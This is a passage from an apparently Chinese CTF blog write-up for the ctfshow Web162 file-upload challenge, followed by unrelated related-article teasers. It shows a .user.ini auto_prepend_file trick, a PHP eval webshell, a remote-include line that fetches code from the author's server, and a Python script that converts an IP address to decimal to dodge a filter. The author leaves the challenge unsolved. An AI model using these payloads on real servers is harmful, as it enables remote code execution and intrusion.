ctfshow(162)--文件上传漏洞--远程文件包含

ops/2025/1/3 8:10:43/

Web162

进入界面:
在这里插入图片描述

思路

先传个文件测试一下过滤:
在这里插入图片描述过滤了特别多符号,注意过滤了点.

我们的思路还是要先上传.user.ini文件:

//修改前
GIF89a
auto_prepend_file=shell.png//由于过滤了点,所以修改为
GIF89a
auto_prepend_file=shell

上传.user.ini文件
在这里插入图片描述

接下来就是上传包含一句话木马或恶意命令的shell文件。
因为过滤了点,所以我们之前的那些上传方法都不能使用。
这里学习一个新的上传方法:远程文件包含。

现在自己的服务器里写一个shell文件:

<?php @eval($_POST[1]);?>

然后上传一个远程调用文件到目标靶机:

GIF89a
<?=include"http://数字IP/shell"?>

这里的数字IP是指自己服务器的IP地址的纯数字形式.下面是相关脚本:

#IP转换为长整型
def ip2long(ip):ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制result = 0for i in range(4): #0,1,2,3result = result+int(ip_list[i])*256**(3-i)return result#长整型转换为IP
def long2ip(long):floor_list = []num = longfor i in reversed(range(4)):res = divmod(num,256**i)floor_list.append(str(res[0]))num = res[1]return '.'.join(floor_list)print(ip2long('服务器ip地址'))

上传远程调用文件,后缀设置为.png,抓包修改文件名为shell,成功上传。访问/upload目录:
在这里插入图片描述告警,大意是不允许包含外部网站的内容。

到这里卡住了,看了一些WP,说是要用flask。但是上述远程文件包含的思路是对的,使用flask的内容之后再补上。


http://www.ppmy.cn/ops/131657.html

相关文章

【Python】解析 XML

1、Python 对 XML 的解析 1.1 SAX (simple API for XML ) SAX 解析器使用事件驱动模型&#xff0c;通过在解析XML的过程中触发一个个的事件并调用用户定义的回调函数来处理XML文件。 xml.sax 模块牺牲了便捷性来换取速度和内存占用。 事件驱动指一种基于回调&#xff08;ca…

JavaEE-多线程初阶(4)

目录 回顾上节 1.线程安全问题 2.解决线程安全问题 1.关于死锁 1.1 死锁的概念 1.2 产生死锁的三种情况 情况一 情况二 情况三 1.3 如何避免死锁 1.3.1 构成死锁的四个必要条件 1.3.2 避免死锁 1.4 死锁小结 2. Java标准库中的线程安全类 2.1 线程不安全 2.2 线…

【ESP32+MicroPython】网络编程基础

ESP32作为一款集成了Wi-Fi和蓝牙模块的微控制器&#xff0c;可以方便地与互联网连接&#xff0c;进行HTTP请求和数据传输。本教程将从Wi-Fi连接开始&#xff0c;逐步讲解ESP32如何在MicroPython环境下发送HTTP请求&#xff0c;并展示一些应用实例。我们将涵盖以下内容&#xff…

Linux编程:DMA增加UDP 数据传输吞吐量并降低延迟

文章目录 0. 引言1. 原理介绍1.1 DMA 与中断的协同机制1.2. DMA优化UDP 数据包发送 2. DMA 配置优化 0. 引言 UDP 网络传输常面临高 CPU 占用、传输延迟和丢包等挑战。本文将介绍 DMA 如何优化 UDP 数据包的发送&#xff0c;以提高吞吐量、减少延迟并降低 CPU 占用。 阅读本文…

细说STM32单片机USART中断收发RTC实时时间并改善其鲁棒性的方法

目录 一、工程目的 1、 目标 2、通讯协议及应对错误指令的处理目标 二、工程设置 三、程序改进 四、下载与调试 1、合规的指令 2、 proBuffer[0]不是# 3、proBuffer[4]不是; 4、指令长度小于5 5、指令长度大于5 6、proBuffer[2]或proBuffer[3]不是数字 7、;位于p…

Qt的程序如何打包详细教学

生成Release版的程序 在打包Qt程序时&#xff0c;我们需要将发布程序需要切换为Release版本&#xff08;Debug为调试版本&#xff09;&#xff0c;编译器会对生成的Release版可执行程序进行优化&#xff0c;使生成的可执行程序会更小。 debug版本 debug版本是一种开发过程中的…

AJ-Report:一款开源且非常强大的数据可视化大屏和报表工具

嗨&#xff0c;大家好&#xff0c;我是小华同学&#xff0c;关注我们获得“最新、最全、最优质”开源项目和工作学习方法 AJ-Report是一个基于Java的开源报表工具&#xff0c;它集成了ECharts、Ant Design Vue等前端技术&#xff0c;致力于为企业提供一站式的数据可视化解决方案…

Docker打包自己项目推到Docker hub仓库(windows10)

一、启用Hyper-V和容器特性 1.应用和功能 2.点击程序和功能 3.启用或关闭Windows功能 4.开启Hyper-V 和 容器特性 记得重启生效&#xff01;&#xff01;&#xff01; 二、安装WSL2&#xff1a;写文章-CSDN创作中心https://mp.csdn.net/mp_blog/creation/editor/143057041 三…